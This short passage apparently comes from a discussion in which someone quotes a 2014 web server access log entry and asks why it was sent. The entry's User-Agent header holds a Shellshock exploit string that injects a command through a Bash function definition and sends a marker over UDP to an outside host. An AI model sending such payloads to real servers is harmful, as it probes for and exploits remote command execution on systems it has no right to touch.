and why they would be doing this '
166.78.61.142
- - [25/Sep/2014:05:43:12 -0400] "GET / HTTP/1.1" 200 62326 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444" '